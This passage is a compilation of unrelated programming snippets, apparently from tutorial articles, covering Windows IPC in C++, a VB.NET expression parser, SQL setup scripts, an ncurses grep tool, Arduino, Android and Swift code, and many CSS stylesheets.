                                data_header-&gt;writer_process_id, GetLastError());
        else {
            waitOn[2] = self-&gt;m_peer_process_handle;
            self-&gt;m_status = IPC_STATUS_PEER_CONNECTED;
            if (NULL != self-&gt;m_status_change_handler)
                self-&gt;m_status_change_handler(IPC_STATUS_PEER_CONNECTED, 
                                              self-&gt;m_status_change_handler_parameter);
        }
        data_header-&gt;next_reading_pointer += msg_header-&gt;size;
        break;
    }</pre>

<pre lang="C++">
DWORD WINAPI cs_ipc::waitForServer(LPVOID data)
{
    cs_ipc * self = (cs_ipc *)data;
    HANDLE waitOn[3];

    waitOn[0] = self-&gt;m_terminate;
    waitOn[1] = self-&gt;m_client_wait_for_server;
    int wait_res = WaitForMultipleObjects(2, waitOn, FALSE, INFINITE);
    if (wait_res == WAIT_OBJECT_0) // terminate has been triggered
        return 0;
    else
    if (wait_res == WAIT_OBJECT_0 + 1)
    {
        // server signaled to start
        self-&gt;initialize();
        // notify peer connected
        if (self-&gt;m_running &amp;&amp; (self-&gt;m_status == IPC_STATUS_PEER_CONNECTED))
        {
            if (NULL != self-&gt;m_status_change_handler)
                self-&gt;m_status_change_handler(self-&gt;m_status, self-&gt;m_status_change_handler_parameter);
            self-&gt;writePeerConnected();
        }
        if (!self-&gt;m_running)
            return 0;
    }
    else
    {
        self-&gt;error_handler(L"waitForServer &gt; WaitForMultipleObjects failed - waitResult = %u\n", 
                            wait_res);
    }

    return 0;
}</pre>


<pre lang="C++">
    initialize();
    if (!m_running &amp;&amp; !m_is_server) {
        wchar_t element_name[200];
        if (NULL == (m_client_wait_for_server = 
               CreateEvent(NULL, true, false, ipc_encode_string
               (element_name, 200, LOG_NAME_CLIENT_WAIT_EV, m_prefix.c_str())))) return;
        if (NULL == m_terminate)
            if (NULL == (m_terminate = CreateEvent(NULL, TRUE, FALSE, NULL))) goto failed;
        if (0 == m_client_wait_for_server_thread)
            if (0 == (m_client_wait_for_server_thread = CreateThread
                  (NULL, 0, cs_ipc::waitForServer, this, 0, NULL))) goto failed;
    } else
    if (m_running &amp;&amp; !m_is_server)
    {
        if (m_status == IPC_STATUS_PEER_CONNECTED) 
            writePeerConnected();
    }
    else
    if (m_running &amp;&amp; m_is_server)
    {
        if (m_status == IPC_STATUS_PEER_CONNECTED) {
            writePeerConnected();
        }
        else
        {
            wchar_t element_name[200];
            HANDLE client_wait;
            if (NULL == (client_wait = OpenEvent(EVENT_MODIFY_STATE, false, 
            ipc_encode_string(element_name, 200, LOG_NAME_CLIENT_WAIT_EV, m_prefix.c_str())))) return;
            SetEvent(client_wait);
            CloseHandle(client_wait);
        }
    }</pre>


<pre lang="VB.NET">
Private Function Tokenize(expression As String) As List(Of Token)
   Tokenize = New List(Of Token)
   Dim rgxToken As New Regex("(?&lt;operator&gt;[+\-*/^()])|(?&lt;number&gt;[\d\.]+)|(?&lt;param&gt;[a-z])")
   Dim tk = New Token("("c) ' since the following Loop accesses the precuser-token, an initial dummy-Token is needed
   For Each mt As Match In rgxToken.Matches(expression)
      If mt.Groups("number").Success Then
         tk = New Token("0"c) With {.Number = Double.Parse(mt.Value, CultureInfo.InvariantCulture)}
      Else
         Dim c = mt.Value(0)
         If c = "-"c AndAlso tk.CausesUnaryNegation Then ' access the precuser-token to decide the meaning of "-"
            ' "-" can mean substraction as well as unary negation. If so replace it by "~" for easyer distinction
            c = "~"c
         End If
         tk = New Token(c)
      End If
      Tokenize.Add(tk)
   Next
End Function
</pre>


<pre lang="VB.NET">
Public Class Token

   Public Number As Double, OpCode As Char, Rank, OperandCount As Integer
   
   Private Shared _Ranks As String() = {"(", ")", "+-", "*/", "^", "~"} ' the element-index is the Token-Rank
   Private Shared _OperandCounts As String() = {"~", "+-*/^"} ' the element-index is the operators OperandCount-1

   Public Sub New(opcode As Char)
      Me.OpCode = opcode
      Rank = _Ranks.FindIndex(Function(s) s.Contains(opcode))
      If Rank &lt; 0 Then Rank = 99 ' OpCodes, not listed in _Ranks, are Numbers or Parameters, and get Rank=99
      OperandCount = _OperandCounts.FindIndex(Function(s) s.Contains(opcode)) + 1 ' OpCodes, not listed in _OperandCounts, automatically get OperandCount=0
   End Sub

   ''' &lt;summary&gt; if true, a following '-'-Token means unary Negation. Otherwise means (binary) Subtraction &lt;/summary&gt;
   Public Function CausesUnaryNegation() As Boolean
      Return Rank &lt;&gt; 99 AndAlso OpCode &lt;&gt; ")"c
   End Function
	
End Class
</pre>


<pre lang="VB.NET">
Private Function Infix2Postfix(infixTokens As List(Of Token)) As List(Of Token)
   'shunting-yard-algo by Dijkstra: holds a 'tokenStack' as interim Token-storage.
   'The rules of populating and flushing it to output are as follows:
   '1) Every token, except '(', flushes all higher or equal ranked tokens from tokenStack to output
   '2) Then every token, except ')', enter the tokenStack.
   ' Exceptional ')'-Behavior: since '(' is of lowest Rank, and ')' is next, the latter has flushed all other tokens, and a '(' now is stackTop. Remove it too.
   '3) Neither '(' nor ')' move to output
   Dim tokenStack As New Stack(Of Token)
   Dim output = New List(Of Token)
   For Each tk In infixTokens
      If tk.OpCode &lt;&gt; "("c Then ' all Tokens - except '(' - flush higher ranked other Tokens from tokenStack to output
         While tokenStack.Count &gt; 0 AndAlso tokenStack.Peek.Rank &gt;= tk.Rank
            output.Add(tokenStack.Pop())
         End While
      End If
      ' ')' doesn't enter the tokenStack. Instead remove the '(', which now is on Stack-Top
      If tk.OpCode = ")"c Then tokenStack.Pop() Else tokenStack.Push(tk)
   Next
   output.AddRange(tokenStack) ' final rest-flush
   Return output
End Function
</pre>


<pre lang="VB.NET">
Module ExpressionSolver
   Private _Operators As Dictionary(Of Char, Func(Of Stack(Of Double), Double))

   Sub New()
      'associate Tokens with Operators: Functions, which pop their (Double-)Operands from operandStack, process them and retrieve a Double as Result
      '"~" is Unary-Negation-Postfix, all other Operators are as in Vb.
      '"^" takes some effort, to respect order of left and right operand
      _Operators = New Dictionary(Of Char, Func(Of Stack(Of Double), Double)) From
                                          {{"~"c, Function(stk) -stk.Pop},
                                          {"^"c, Function(stk)
                                                    Dim right = stk.Pop
                                                    Return stk.Pop ^ right
                                                 End Function},
                                          {"*"c, Function(stk) stk.Pop * stk.Pop},
                                          {"/"c, Function(stk) 1 / stk.Pop * stk.Pop},
                                          {"+"c, Function(stk) stk.Pop + stk.Pop},
                                          {"-"c, Function(stk) -stk.Pop + stk.Pop}}
      ' Number- and Parameter-Operators create Values without processing Stack-Elements as Operands. So their Operators are Nothing
      _Operators.Add("0"c, Nothing) ' Number-Operator
      For i = 0 To 25 ' Parameter-Operator: [a-z] 
         _Operators.Add(Convert.ToChar(97 + i), Nothing)
      Next
   End Sub

   Public Function Solve(expression As String, ParamArray paramValues() As Double) As Double
      Dim operandStack As New Stack(Of Double)
      For Each tk In Infix2Postfix(Tokenize(expression)) ' process postfix-ordered Tokens
         Dim result As Double
         Select Case tk.OpCode
            Case "0"c : result = tk.Number ' numbers: 'intrinsic result'

            Case "a"c To "z"c            ' parameters: result 'injected' by paramValues
               Dim i = Convert.ToInt32(tk.OpCode) - 97 ' compute param-index from OpCode
               result = paramValues(i)

            Case Else             ' other operators: result by consuming operands from stack
               result = _Operators(tk.OpCode).Invoke(operandStack) 
         End Select
         operandStack.Push(result)
      Next
      Return operandStack.Pop
   End Function
</pre>


<pre lang="VB.NET">
   Private Function BuildTreeNodes(postfixTokens As List(Of Token)) As TreeNode
      Dim operandStack As New Stack(Of TreeNode)
      For Each tk In postfixTokens
         Dim result = New TreeNode(tk.ToString)
         For i = 1 To tk.OperandCount
            result.Nodes.Insert(0, operandStack.Pop) ' respect reversed order of stack-elements
         Next
         operandStack.Push(result)
      Next
      Return operandStack.Pop
   End Function
</pre>


<pre lang="SQL">
USE MASTER    
GO    
    
-- 1) Check for the Database Exists .If the database is exist then drop and create new DB    
IF EXISTS (SELECT [name] FROM sys.databases WHERE [name] = 'InventoryPDB' )    
DROP DATABASE InventoryPDB    
GO    
    
CREATE DATABASE InventoryPDB    
GO    
    
USE InventoryPDB    
GO    
    
    
-- 1) //////////// StudentMasters    
    
IF EXISTS ( SELECT [name] FROM sys.tables WHERE [name] = 'InventoryMaster' )    
DROP TABLE InventoryMaster    
GO    
    
CREATE TABLE [dbo].[InventoryMaster](    
        [InventoryID] INT IDENTITY PRIMARY KEY,    
        [ItemName] [varchar](100) NOT NULL,       
        [StockQty]  int NOT NULL,       
        [ReorderQty] int NOT NULL,       
        [PriorityStatus] int NOT NULL     -- 0 for low and 1 for High
)    
    
-- insert sample data to Student Master table    
INSERT INTO [InventoryMaster]   ([ItemName],[StockQty],[ReorderQty],[PriorityStatus])    
     VALUES ('HardDisk',500,300,0)    
    
INSERT INTO [InventoryMaster]   ([ItemName],[StockQty],[ReorderQty],[PriorityStatus])    
     VALUES ('Mouse',600,550,1) 

  INSERT INTO [InventoryMaster]   ([ItemName],[StockQty],[ReorderQty],[PriorityStatus])    
     VALUES ('USB',3500,3000,0) 
         
         
     select * from InventoryMaster </pre>


<pre lang="C++">
#include &lt;ncurses.h&gt;
#include &lt;string&gt;
#include &lt;iostream&gt;
#include &lt;vector&gt;
#include &lt;cstdlib&gt;
#include &lt;unistd.h&gt;
#include &lt;thread&gt;

#include "files.h"
#include "grep.h"
#include "tui.h"
#include "data.h"

using namespace std;

void init_screen();
void listen_keyboard();
void dispose_data();
void print_status_line(string msg);
unsigned long yMax, xMax, yWin, xWin;
unsigned long cur_line = 0;
long cur_dir_index = -1;
WINDOW * win;
vector&lt;match_files&gt; mfv;
vector&lt;match_dirs&gt; dirs, used_dirs;
char *dirname;
char *parttern;
int group_level;
bool do_moving = false;

int main(int argc, char ** argv)
{
    if (argc &lt; 3) {
        cerr&lt;&lt;"Incorrect usage! ncgrep match_pattern file_path [search_group_level]"&lt;&lt;endl;
        return -1;
    }
    dirname = argv[2];
    parttern = argv[1];
    if (argc == 4) {
        group_level = atoi(argv[3]);
    } else {
        group_level = 1;
    }

    // Init screen
    init_screen();

    // Print window
    refresh_win(win, yWin, xWin, used_dirs, cur_dir_index, mfv, cur_line);

    // Dispose data
    thread sub_thread(dispose_data);

    // Keyboard input
    listen_keyboard();

    sub_thread.join();
    endwin();
    return 0;
}

void init_screen()
{
    // Ncurses initialization
    setlocale(LC_ALL,"");
    initscr();
    cbreak();
    noecho();
    keypad(stdscr, true);
    curs_set(0); // hiden the cursor
    getmaxyx(stdscr, yMax, xMax);
    yWin = long(yMax * 0.6);
    xWin = long(xMax * 0.8);
    win = newwin(yWin, xWin, (yMax - yWin) /2, (xMax - xWin) / 2);
    box(win, 0, 0);
    refresh();
}

void listen_keyboard() {
    int c;
    bool do_continue = true;
    while (do_continue &amp;&amp; (c = getch())) {
        switch (c) {
            case 5: // ctrl-e
                if (cur_dir_index == -1) {
                    break;
                }
                cur_dir_index = -1;
                cur_line = 0;
                refresh_win(win, yWin, xWin, used_dirs, cur_dir_index, mfv, cur_line);
                break;
            case 10:
                if (cur_dir_index == -1) {
                    cur_dir_index = cur_line;
                    cur_line = used_dirs[cur_dir_index].start;
                    refresh_win(win, yWin, xWin, used_dirs, cur_dir_index, mfv, cur_line);
                } else {
                    string cmd = "vim " + mfv[cur_line].filename + " +" + to_string(mfv[cur_line].line);
                    system(cmd.c_str());
                    endwin();
                    init_screen();
                    refresh_win(win, yWin, xWin, used_dirs, cur_dir_index, mfv, cur_line);
                }
                break;
        }

        unsigned long min = 0;
        unsigned long max = used_dirs.size() == 0 ? 0 : used_dirs.size() - 1;
        if (cur_dir_index != -1) {
            min = used_dirs[cur_dir_index].start;
            max = used_dirs[cur_dir_index].start + used_dirs[cur_dir_index].length == 0 
                      ? 0 : used_dirs[cur_dir_index].start + used_dirs[cur_dir_index].length - 1;
        }
        switch (*keyname(c)) {
            case 'q':
                do_continue = false;
                break;
            case 'k':
                do_moving = true;
                if (cur_line == min) {
                    do_moving = false;
                    break;
                }
                refresh_win(win, yWin, xWin, used_dirs, cur_dir_index, mfv, --cur_line);
                do_moving = false;
                break;
            case 'j':
                do_moving = true;
                if (cur_line == max) {
                    do_moving = false;
                    break;
                }
                refresh_win(win, yWin, xWin, used_dirs, cur_dir_index, mfv, ++cur_line);
                do_moving = false;
                break;
            case 'o':
                if (cur_dir_index == -1) {
                    cur_dir_index = cur_line;
                    cur_line = used_dirs[cur_dir_index].start;
                    refresh_win(win, yWin, xWin, used_dirs, cur_dir_index, mfv, cur_line);
                } else {
                    string cmd = "vim " + mfv[cur_line].filename + " +" + to_string(mfv[cur_line].line);
                    system(cmd.c_str());
                    endwin();
                    init_screen();
                    refresh_win(win, yWin, xWin, used_dirs, cur_dir_index, mfv, cur_line);
                }
                break;
        }
    }
}

void dispose_data() {
        print_status_line("loadding...");
        vector&lt;string&gt; files_tmp;
        vector&lt;match_files&gt; mfv_tmp;
        try {
            dirs = getdirs(dirname, 0, group_level);
        } catch (runtime_error &amp;e) {
            cerr&lt;&lt;e.what()&lt;&lt;endl;
            return;
        }
        unsigned long dirs_count = dirs.size();
        unsigned long files_count;
        // FOR GROUPs
        for (unsigned long i = 0; i &lt; dirs_count; ++i) {
            files_tmp = listdir(dirs[i].dirname, group_level, dirs[i].mode);
            // FOR FILEs
            files_count = files_tmp.size();
            dirs[i].start = mfv.size();
            for (unsigned long j = 0; j &lt; files_count; ++j) {
                try {
                    mfv_tmp = match_pattern(files_tmp[j], parttern);
                    mfv.insert(mfv.end(), mfv_tmp.begin(), mfv_tmp.end());
                } catch (runtime_error &amp;e) {
                    continue;
                }
            }
            dirs[i].length = mfv.size() - dirs[i].start;
            if (dirs[i].length &gt; 0) {
                match_dirs md;
                md.dirname = dirs[i].dirname;
                md.start = dirs[i].start;
                md.length = dirs[i].length;
                used_dirs.push_back(md);
            }
            // ONE GROUP RESULTS
            if (cur_dir_index == -1) {
                while (do_moving == true) {
                    std::this_thread::sleep_for(std::chrono::milliseconds(50));
                }
                refresh_win(win, yWin, xWin, used_dirs, cur_dir_index, mfv, cur_line);
                //std::this_thread::sleep_for(std::chrono::milliseconds(100));
            }
        }
        print_status_line("loaded");

    return;
}

void print_status_line(string msg) {
    mvprintw(yMax - 1, 0, msg.c_str());
    refresh();
    return;
}</pre>


<pre lang="C++">
#include &lt;DallasTemperature.h&gt;
#include &lt;OneWire.h&gt;

// Data wire is plugged into port 2 on the Arduino
#define ONE_WIRE_BUS 2
// Setup a oneWire instance to communicate with any OneWire devices (not just Maxim/Dallas temperature ICs)
OneWire oneWire(ONE_WIRE_BUS);
// Pass our oneWire reference to Dallas Temperature.
DallasTemperature temp_sensor(&amp;oneWire);

void setup(){
  Serial.begin(9600);
  temp_sensor.begin();

  Serial.println("DS18B20 Temperature Test\n\n");

  delay(300);//Let system settle

}//end "setup()"

void loop(){

  Serial.print("Requesting temperatures...");
  temp_sensor.requestTemperatures(); // Send the command to get temperatures
  
  Serial.print("Temperature is: ");
  float temp_reading = temp_sensor.getTempCByIndex(0);
  Serial.println(temp_reading);

  delay(1000);
}// end loop()
  </pre>


<pre lang="Java">
List&lt;person&gt; people = new ArrayList&lt;&gt;();
 
people.add(new Person("Mohamed", 69));
people.add(new Person("Doaa", 25));
people.add(new Person("Malik", 6));
 
Predicate&lt;person&gt; pred = (p) -&gt; p.getAge() &gt; 65;
 
displayPeople(people, pred);
 
...........
 
private static void displayPeople(List&lt;person&gt; people, Predicate&lt;person&gt; pred) {
 
     System.out.println("Selected:");
     people.forEach(p -&gt; {
         if (pred.test(p)) {
             System.out.println(p.getName());
         }
     });
}</pre>


<pre lang="SQL">
INSERT INTO dbo.EmployeeInfo (EmpName)
VALUES('John')

BEGIN TRAN
	INSERT INTO dbo.EmployeeInfo (EmpName)
	VALUES('Jane')
ROLLBACK

INSERT INTO dbo.EmployeeInfo (EmpName)
VALUES('James')

SELECT 
	EI.Id
	,EI.EmpName 
FROM
	dbo.EmployeeInfo AS EI</pre>


<pre lang="C#">
    using (var con = MyConnectionFactory.CreateConnection())
    using (var cmd = con.CreateCommand())
    {
        // no longer a need to assign the Connection-property of the command,
        // since the connection creating the command is assigned by default.
    }</pre>


<pre lang="C#">
[EnableCors("CORSPolicy")]
[Route("api/[controller]")]
public class TokenController : Controller
{
.....
.....
}

[EnableCors("CORSPolicy")]
[Authorize(AuthenticationSchemes = JwtBearerDefaults.AuthenticationScheme)]
[Route("api/[controller]")]
public class GreetingController : Controller
{
.....
.....
}</pre>


<pre lang="XML">
&lt;?xml version='1.0' encoding='utf-8'?&gt;
&lt;manifest android:hardwareAccelerated="true" android:versionCode="yourversion" 
 android:versionName="versionname" package="your.package.name" 
 xmlns:android="http://schemas.android.com/apk/res/android"&gt;
    &lt;supports-screens android:anyDensity="true" android:largeScreens="true" 
     android:normalScreens="true" android:resizeable="true" android:smallScreens="true" 
     android:xlargeScreens="true" /&gt;
    &lt;uses-permission android:name="android.permission.INTERNET" /&gt;
    &lt;application android:hardwareAccelerated="true" android:icon="@drawable/icon" 
     android:label="@string/app_name" android:supportsRtl="true"&gt;
        &lt;activity android:configChanges="orientation|keyboardHidden|keyboard|screenSize|locale" 
         android:label="@string/activity_name" android:launchMode="singleTop" 
         android:name="MainActivity" android:windowSoftInputMode="adjustResize"&gt;
            &lt;intent-filter android:label="@string/launcher_name"&gt;
                &lt;action android:name="android.intent.action.MAIN" /&gt;
                &lt;category android:name="android.intent.category.LAUNCHER" /&gt;
            &lt;/intent-filter&gt;
        &lt;/activity&gt;
        &lt;receiver android:name="your.package.name.ListWidgetProvider"&gt;
            &lt;intent-filter&gt;
                &lt;action android:name="android.appwidget.action.APPWIDGET_UPDATE" /&gt;
            &lt;/intent-filter&gt;
            &lt;meta-data android:name="android.appwidget.provider" 
                               android:resource="@xml/list_widget_info" /&gt;
        &lt;/receiver&gt;
        &lt;service android:exported="false" android:name="run.ace.AppWidgetService" 
           android:permission="android.permission.BIND_REMOTEVIEWS" /&gt;
        &lt;activity android:name="run.ace.AceActivity" 
             xmlns:android="http://schemas.android.com/apk/res/android" /&gt;
    &lt;/application&gt;
    &lt;uses-sdk android:minSdkVersion="yourminsdk" android:targetSdkVersion="yourtargetsdk" /&gt;
&lt;/manifest&gt;</pre>


<pre lang="C++">
static IUnityInterfaces* s_UnityInterfaces = nullptr;
static IUnityGraphics* s_Graphics = nullptr;

extern "C" void UNITY_INTERFACE_EXPORT UNITY_INTERFACE_API 
    UnityPluginLoad(IUnityInterfaces* unityInterfaces)
{
    s_UnityInterfaces = unityInterfaces;
    s_Graphics = s_UnityInterfaces-&gt;Get&lt;IUnityGraphics&gt;();
    s_Graphics-&gt;RegisterDeviceEventCallback(OnGraphicsDeviceEvent);
    
    // Run OnGraphicsDeviceEvent(initialize) manually on plugin load
    OnGraphicsDeviceEvent(kUnityGfxDeviceEventInitialize);
}
</pre>



<pre lang="CSS">
.<strong>shape </strong>{
  float:left;
  margin:80px;
  width: 100px;
  height: 100px;
  border: solid 1px;
}

.<strong>square</strong> {
    width: 100px;
    height: 100px;
    background: #76D7C4;
}

.<strong>circle </strong>{
    width: 100px;
    height: 100px;
    background: red;
    -moz-border-radius: 50px;
    -webkit-border-radius: 50px;
    border-radius: 50px;
  background: #F7DC6F
}

.<strong>triangle-down</strong> {
    width: 0;
    height: 0;
    border-left: 50px solid transparent;
    border-right: 50px solid transparent;
    border-top: 100px solid red;
}

.<strong>parallelogram </strong>{
    width: 150px;
    height: 100px;
    -webkit-transform: skew(20deg);
       -moz-transform: skew(20deg);
         -o-transform: skew(20deg);
    background: blue;
}</pre>


<pre lang="CSS">
.tableStyle{  
    display:  table ;
    margin-left :  50px ;
}
.panelStyle{  
   background:  white ;
}

.divStyle{
background:  #eee ;
padding:  20px ;
margin:  20px ;
}

.headerCaptionStyle{
background:  white ;
display:  table-row ;
    border:  solid ;
    text-align :  center ;
    width :  420px ;
    height :  30px ;
    padding-top :  3px ;
    color :  white ;
    margin-left :  100px ;
    display :  block ;
}

.headerStyle{
background:  #4B6978 ;
display:  table-row ;
    border:  solid ;
    text-align :  center ;
    width :  100px ;
    height :  30px ;
    padding-top :  10px ;
    color :  white ;
}

.tableCaptionStyle{
background:#4B6978 ;
display:  block ;
font-size :  20px ;
font-weight:  bold ; 
    border:  solid ;
    text-align :  center ;
    width :  650px ;
    height :  30px ;
    padding-top :  3px ;
    border-radius:  25px ;
    margin-left :  30px ;
    margin-top :  20px ;
    color:white;
}

.rowCaptionStyle{
width :  600px ;
display :   table-caption ;
background:  #4B6978 ;
text-align :  center ;
padding:  20px ;
font-size :  20px ;
font-weight : bold ;
color :  white ;
}

.rowStyle{
display :   table-row ;
background:  #eee ;
padding:  20px ;
margin:  20px ;
font-weight : bold ;
}

.CellStyle{  
    display:  table-cell ; 
    border:  solid ;
     border-color :  white ;
    text-align :  center ;
    width :  100px ;
    height :  30px ;
    padding-top :  10px ;
    
}  
    </pre>


<pre lang="CSS">
@font-face {
font-family: 'report1942';
src: url(Fonts/1942-webfont.eot); /* IE9 Compat Modes */
src: url(Fonts/1942-webfont.eot?#iefix) format('embedded-opentype'), /* IE6-IE8 */
url(Fonts/1942-webfont.woff) format('woff'), /* Modern Browsers */
url(Fonts/1942-webfont.ttf) format('truetype'), /* Safari, Android, iOS */
url(Fonts/1942-webfont.svg#1942_report1942_report) format('svg'); /* Legacy iOS */
font-weight: normal;
font-style: normal;
}</pre>


<pre lang="CSS">
.metronome {
  text-align: center;
  max-width: 375px;
  margin: 0 auto;
  padding: 30px;
}

.bpm-slider input {
  width: 100%;
  margin: 10px;
}

.metronome button {
  background: #C94D46;
  padding: 10px;
  border: 1px solid #832420;
  border-radius: 2px;
  width: 100px;
  color: #fff;
  font-size: 18px;
}</pre>


<pre lang="CSS">
#side-menu {  z-index:1; left: -250px; }
#side-menu.show{
    display:block;
    left:0;
    transition: left .5s ease;

}
@media (min-width: 992px) {
#side-menu {  display:block;z-index:0; left:0; }
}
</pre>


<pre lang="CSS">
&amp;:before,
&amp;:after {
    border: solid transparent;
    content: " ";
    left: 100%;                
    position: absolute;
    top: 50%;
    z-index: 2
}

&amp;:after {
    border-left-color: inherit;
    border-width: 12px;
    margin-top: -12px;
}

&amp;:before {
    border-color: rgba(255, 255, 255, 0);
    border-left-color: #fff;
    border-width: 14px;
    margin-top: -14px;
}</pre>


<pre lang="CSS">
.md-dialog-container {
    width: 550px;
    height: 480px;
    padding-bottom: 20px;
    padding-top: 20px;
}
.md-dialog-footer {
    padding: 20px;
    width: 100%;
}
md-input-container {
    width: 100%;
}
.frm-ctrl {
    padding-top: 20px;
    width: 100%;
}
.line_ctrl {
    float: left;
    width: 145px;
    text-align: right;
    margin: 2px;
    display: inline;
}</pre>


<pre lang="CSS">
li .glyphicon {
    margin-right: 10px;
}

/* Highlighting rules for nav menu items */
li.link-active a,
li.link-active a:hover,
li.link-active a:focus {
    background-color: #4189C7;
    color: white;
}

/* Keep the nav menu independent of scrolling and on top of other items */
.main-nav {
    position: fixed;
    top: 0;
    left: 0;
    right: 0;
    z-index: 1;
}

@media (min-width: 768px) {
    /* On small screens, convert the nav menu to a vertical sidebar */
    .main-nav {
        height: 100%;
        width: calc(25% - 20px);
    }
    .navbar {
        border-radius: 0px;
        border-width: 0px;
        height: 100%;
    }
    .navbar-header {
        float: none;
    }
    .navbar-collapse {
        border-top: 1px solid #444;
        padding: 0px;
    }
    .navbar ul {
        float: none;
    }
    .navbar li {
        float: none;
        font-size: 15px;
        margin: 6px;
    }
    .navbar li a {
        padding: 10px 16px;
        border-radius: 4px;
    }
    .navbar a {
        /* If a menu item's text is too long, truncate it */
        width: 100%;
        white-space: nowrap;
        overflow: hidden;
        text-overflow: ellipsis;
    }
}</pre>


<pre lang="CSS">
.draggable {
            background-color:mintcream; 
            border-color:black;
            border-style:solid;
            overflow:hidden;
            border-radius: 25px; 
            padding: 0.5em; 
            cursor: move;
 }</pre>


<pre lang="CSS">
.RADContextMenu{
         z-index:10000000;
         visibility:hidden;
         display:none;
         width:200px;
         height:150px;
         position:absolute;
         font-family:'Microsoft Sans Serif';
         font-size:11px;
      }</pre>


<pre lang="CSS">
.RADContextMenu ul{
        /*width: 100%;  */
        list-style-type: none; 
        margin: 0px 0px 0px 0px;
        padding: 0px 0px 0px 0px;
          
}

.RADContextMenu li{
          /*width:100%;*/
          margin: 0px 0px 0px 0px;
          padding: 3px 0px 3px 15px;
}

.RADContextMenu .panel-body{
        width: 100%;
        padding: 0px 0px 0px 0px;
        margin: 0px 0px 0px 0px;
}</pre>


<pre lang="CSS">
div#eeMain,
div#keyPad button,
div#keyPad input,
div#eeMain div.eeStyleControl,
div#eeMain div#eeRounded,
div#eeModel,
div#eeExtControl,
div#eeExtPanel,
div#eeStackControl,
div#eeStackRegister
{
    -moz-border-radius: 10px;
    -webkit-border-radius: 10px;
    border-radius: 10px;
}</pre>


<pre lang="CSS">
div#eeMain {  background-color: #dedede; }

div#eeModel,
div#eeExtControl, 
div#eeStackControl,
div#eeStackRegister,
div#eeExtPanel, 
div.voltESeries { background-color: #eaeaea;  }

input#keyPad_Mem  { background-color: #f8f8f8;  }

button,
input,
div.eeCaption,
div.eeNotice,
div#eeExtControl,
div#eeStackControl,
div.eeSeriesTitle,
table.tabESeries { color: #202020; }

div#eeModel { color: #005500; }

button.keyPad_btnMemOp {  color: #005500;}

/* BACKSPACE/CLEAR INPUT KEYS*/
div#keyPad button#keyPad_btnBack,
div#keyPad button#keyPad_btnClr,
div#keyPad button#keyPad_btnAllClr {color:red;}

input,
button,
div.voltESeries { border: 1px solid #d0d0d0; }

button:hover { background: #d9d9d9; }

button:active {	border: solid 2px #909090; }

/* odd rows style */
table.tabESeries tr:nth-child(odd) { background-color: #f0f0f0; }

/* even rows style */
table.tabESeries tr:nth-child(even) { background-color: #eaeaea; }

/* Table hover style */
table.tabESeries tr:hover {background-color: #dadada; color: #101010;}</pre>


<pre lang="Pascal">
 FileA:= ExpandConstant('{userprograms}\{#MyAppName}\*'); //'*' is not recommended
 FileB:= ExpandConstant('{userprograms}\{#MyAppName}');
 FileC:= ExpandConstant('{app}\{#MyAppName}.log');
 FileD:= ExpandConstant('{app}\Process.log');
 FileE:= ExpandConstant('{app}\*'); //'*' is not recommended
 FileF:= ExpandConstant('{app}');
 ExistsB:= FileExists(FileB);
 ExistsC:= FileExists(FileC);
 ExistsD:= DirExists(FileD);
 ExistsF:= DirExists(FileF);

 //ask to delete the INI and LOG files
 //if ExistsA = true then DeleteManyFiles(FileA);
 DeleteManyFiles(FileA, False);
 if isEmptyDir(FileA, False) = False And 
 ExistsB = true then PrepDeleteOneFile(FileB, True, False, False);
 if ExistsC = true then PrepDeleteOneFile(FileC, False, False, False);
 if ExistsD = true then PrepDeleteOneFile(FileD, False, False, False);
 //test to see if MDB files still exists. the MDB files are generated based on
 //user ID so we cycle through all the existing databases in the app folder and
 //ask the user if they want to delete each one
 DeleteManyFiles(+FileF+ '??????XX.mdb', False);
 DeleteManyFiles(+FileF+ '{app}\??????YY.mdb', False);
 DeleteManyFiles(+FileF+ '{app}\??????ZZ.mdb', False);

 //Any Subfolders in MyApp?
 if isEmptyDir(FileF, True) = False Then
 Begin
 DeleteManyFiles(FileE, True);
 end;</pre>
 
 

<pre lang="ObjectiveC">
<strong>(lldb) po [[modelNo valueForKey:@"maintenance"] 
filteredArrayUsingPredicate:$predicateM];</strong>

Output will be
&lt;__NSSingleObjectArrayI 0x17000ecf0&gt;(

{
    month = january;
    values =     (
        lcddisplay,
        filament
    );
}
)</pre>


<pre lang="Swift">
func remains (feed: Int, zombieRooms rooms:Matrix) -&gt; Int {

    let newFeed = feed - rooms.value  // calculate food remaining when visiting this room

    roomsVisited += 1  // a statistic to calculate number of rooms visited before a path was found

    path.push(rooms.value)  // push this room on the stack so we can print the successful path

&nbsp;   // no food left return and pop the room off the stack
    guard feed &gt; -1 else { path.pop(); return best }  

    /*  if reached the bottom right corner room then check if this is the best path evaluated yet
     */

    if rooms.count == 1 {

        /*  if remaining food is the lowest calculated or it's the first successful path found 
&nbsp;             then save the path and store the remain food as the new benchmark to beat.
         */

        if (newFeed &lt; best || best == -1)  &amp;&amp; newFeed &gt; -1 {

            best = newFeed

            optimalPath =  path._stack

        }

        path.pop()  // backtrack to evaluate the path beginning at the previous room.

        return best

    }


    // if a path was found leaving no food, then no other paths need to be evaluated.
    guard best != 0 else { path.pop(); return best }

    // move to the room to the right if there is one.
    if rooms.width &gt; 1 {

        remains(feed: newFeed, zombieRooms: Matrix(matrix:rooms.matrix, i:rooms.i, j:rooms.right))

    }

    // if a path was found leaving no food, then no other paths need to be evaluated.
    guard best != 0 else { path.pop(); return best }

    // move to the room below if there is one
    if rooms.height &gt; 1 {

        remains(feed: newFeed, zombieRooms: Matrix(matrix:rooms.matrix, i:rooms.down, j:rooms.j))

    }

    // all paths from this room have been evaluated so backtrack
    path.pop()

    // return the value of the current best path.
    return best

}

</pre>


<pre lang="Swift">
func remains (feed: Int, zombieRooms rooms:Matrix) -&gt; Int {

    var foodRemaining = feed // initialize remaining food to the value of the input

    path.popAll() // empty the path stack

    optimalPath = path._stack // initialize the optimal path stack to the empty path stack

    var roomsToEvaluate = true  // controls the termination of the evaluation loop

    var pop = false  // initialize so that nothing is popped off the stack

    var i = 0, j = 0  // begin at the top left corner of the matrix

    while roomsToEvaluate {  // continue while there are no more rooms to evaluate

        roomsVisited += 1  // statistic for rooms evaluated

        // if backtracking to the previous room
        if pop {

            var lastRoom = Room(i: 0, j: 0, food: 0)  // initialize last room

            /* if there are previous rooms then pop the room off the stack; otherwise, 
&nbsp;                  there are no paths remaining to evaluate and terminate the loop
            */
            if !path.isEmpty()

                { lastRoom = path.pop() }

            else {

                roomsToEvaluate = false;

                break

            }

            let previousRow = i  // save the row of the room currently evaluated

            // set the matrix indices to the backtracked room and restore the 
&nbsp;           //   food remaining when in that room
